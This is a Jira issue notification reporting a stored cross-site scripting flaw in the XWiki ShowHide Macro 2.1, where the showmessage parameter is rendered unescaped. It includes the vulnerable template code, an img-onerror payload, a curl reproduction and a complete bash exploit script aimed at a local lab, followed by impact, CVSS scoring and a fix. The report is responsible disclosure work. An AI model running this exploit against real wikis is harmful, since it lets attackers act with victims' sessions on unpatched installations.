This issue has been created
 
 
ShowHide Macro / cid:jira-generated-image-avatar-9e8f783d-f7bb-4ffc-a8fe-547ccdc658e6 SHMACRO-12 Open

Stored cross-site scripting in XWiki ShowHide Macro through an unescaped showmessage

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-45c79aa9-3468-4ee2-9487-0aab0a01a11a Łukasz Rybak created this issue on 20/Aug/26 08:02
 
Summary: Stored cross-site scripting in XWiki ShowHide Macro through an unescaped showmessage
Issue Type: cid:jira-generated-image-avatar-9e8f783d-f7bb-4ffc-a8fe-547ccdc658e6 Bug
Affects Versions: 2.1
Assignee: Unassigned
Attachments: image-2026-08-20-08-00-44-722.png, image-2026-08-20-08-01-29-782.png
Created: 20/Aug/26 08:02
Labels: attack_xss
Priority: cid:jira-generated-image-static-major-0ccbd2bf-e9ab-41da-b537-3aa11577b2b8 Major
Reporter: Łukasz Rybak
Description:

Summary

ShowHide Macro 2.1 renders the user-controlled showmessage parameter directly as HTML inside an {{html clean=false}} block. An EDIT-only user can inject an element with an event handler and execute arbitrary same-origin JavaScript when another user opens the page. Execution was independently confirmed in Chromium and Firefox without SCRIPT, PROGRAM, or ADMIN rights.

Affected products

  • Ecosystem: Maven
  • Package: org.xwiki.contrib.showhide:showhide-macro
  • Affected versions: 2.1 confirmed; 2.1.1-SNAPSHOT source remains affected.
  • Patched versions: None known.

Preconditions

  • ShowHide Macro 2.1 is installed.
  • The attacker has EDIT rights on one page and can use the showhide macro.
  • A victim opens the attacker-controlled page.

Technical details

In src/main/resources/Macros/ShowHideMacro.xml, the macro creates an XML-escaped copy for the data-show-message attribute, but uses the original parameter as the anchor body:

#set($showmessage = $escapetool.xml($mparams.showmessage))
...
{{html clean=false}}
<a ... data-show-message="$showmessage" ...>$mparams.showmessage</a>
{{/html}}

Consequently, the attribute copy is safe, but HTML supplied in the anchor body is parsed as active markup. The same code is present at lines 421 and 435–436 of commit fd5819fe64ac30232b8c26e7f945062fa63d163d (2.1.1-SNAPSHOT), so the current development source also remains affected.

Manual proof of concept

Manual terminal reproduction

As a Registered user with EDIT but without SCRIPT, PROGRAM, or ADMIN, create a page containing:

{{showhide showmessage="<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-xss','executed');alert('SHOWHIDE-XSS-'+document.domain)},1000)>"}}hidden{{/showhide}}

Open the page. Chromium and Firefox both displayed SHOWHIDE-XSS-127.0.0.1, and both reported the DOM marker data-showhide-xss=executed.

The following terminal flow was executed successfully against the local lab:

BASE='http://127.0.0.1:8888'
JAR=$(mktemp -t showhide-curl.cookies.XXXXXX)
PAYLOAD="{{showhide showmessage=\"<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-curl','executed');alert('SHOWHIDE-CURL-'+document.domain)},1000)>\"}}hidden{{/showhide}}"

curl -sS -c "$JAR" "$BASE/bin/login/XWiki/XWikiLogin" -o /tmp/showhide-login.html
curl -sS -b "$JAR" -c "$JAR" -o /dev/null -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode 'j_username=cve' \
  --data-urlencode 'j_password=cve1234' \
  --data-urlencode "xredirect=$BASE/bin/edit/Sandbox/ShowHideCurlPoC"

curl -sS -b "$JAR" "$BASE/bin/edit/Sandbox/ShowHideCurlPoC" -o /tmp/showhide-edit.html
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' /tmp/showhide-edit.html | head -1)

curl -sS -b "$JAR" -o /dev/null -X POST \
  "$BASE/bin/save/Sandbox/ShowHideCurlPoC" \
  --data-urlencode "form_token=$TOKEN" \
  --data-urlencode 'title=ShowHide curl PoC' \
  --data-urlencode "content=$PAYLOAD" \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode 'comment=ShowHide low-user curl validation'

curl -sS -b "$JAR" "$BASE/bin/view/Sandbox/ShowHideCurlPoC"

The response contains active markup in the anchor body:

<a href="javascript:void(0)" ...
 data-show-message="&#60;img ... &#62;" ...>
 <img src=x onerror=setTimeout(function(){...},1000)>
</a>

The page used for the browser validation is:

http://127.0.0.1:8888/bin/view/Sandbox/ShowHideAlertPoC

45261_image-2026-08-20-08-00-44-722.png

Automated proof of concept

#!/usr/bin/env bash
set -euo pipefail
usage(){ echo "Usage: $0 -url <base_url> -u <username> -p <password>"; exit 1; }
BASE= USER= PASS=
while (($#)); do case "$1" in -url) BASE=${2%/}; shift 2;; -u) USER=$2; shift 2;; -p) PASS=$2; shift 2;; *) usage;; esac; done
[[ -n "$BASE" && -n "$USER" && -n "$PASS" ]] || usage
RUN=$(date +%s); PAGE="ShowHideXSS${RUN}"; WORK=$(mktemp -d); JAR="$WORK/cookies"; LOGIN="$WORK/login"; trap 'rm -rf "$WORK"' EXIT
curl -sS -c "$JAR" -b "$JAR" "$BASE/bin/login/XWiki/XWikiLogin" -o "$LOGIN"
TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' "$LOGIN" | head -n1); [[ -n "$TOKEN" ]]
curl -fsS -b "$JAR" -c "$JAR" -o /dev/null -X POST "$BASE/bin/loginsubmit/XWiki/XWikiLogin" --data-urlencode "j_username=$USER" --data-urlencode "j_password=$PASS" --data-urlencode "form_token=$TOKEN"
echo "Admin HTTP: $(curl -sS -b "$JAR" -o /dev/null -w '%{http_code}' "$BASE/bin/admin/XWiki/XWikiPreferences")"
PAYLOAD="{{showhide showmessage=\"<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-xss','executed');alert('SHOWHIDE-XSS-'+document.domain)},1000)>\"}}hidden{{/showhide}}"
XML="<?xml version=\"1.0\"?><page xmlns=\"http://www.xwiki.org\"><title>ShowHide XSS</title><syntax>xwiki/2.1</syntax><content><![CDATA[$PAYLOAD]]></content></page>"
curl -fsS -b "$JAR" -X PUT -H 'Content-Type: application/xml' --data-binary "$XML" "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" >/dev/null
URL="$BASE/bin/view/Sandbox/$PAGE"
curl -fsS -b "$JAR" "$URL" | grep -F 'data-showhide-xss' >/dev/null
echo "Active event handler confirmed. Open as victim: $URL"
chmod +x exploit.sh
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234

45260_image-2026-08-20-08-01-29-782.png

Impact

An attacker can execute JavaScript in the XWiki origin with a victim's authenticated session, read data available to the victim, and perform actions using the victim's rights. A victim must visit the attacker's page.

Severity

  • Provisional severity: High
  • Provisional CVSS 4.0: 8.6
  • Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UItongue.png/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Weaknesses

  • CWE-79: Improper Neutralization of Input During Web Page Generation

Suggested remediation

Render showmessage as escaped text, or pass it through the appropriate HTML serializer before inserting it into the anchor body. Keep the encoded value used by data-show-message separate from displayed text and add a regression test with an image event handler.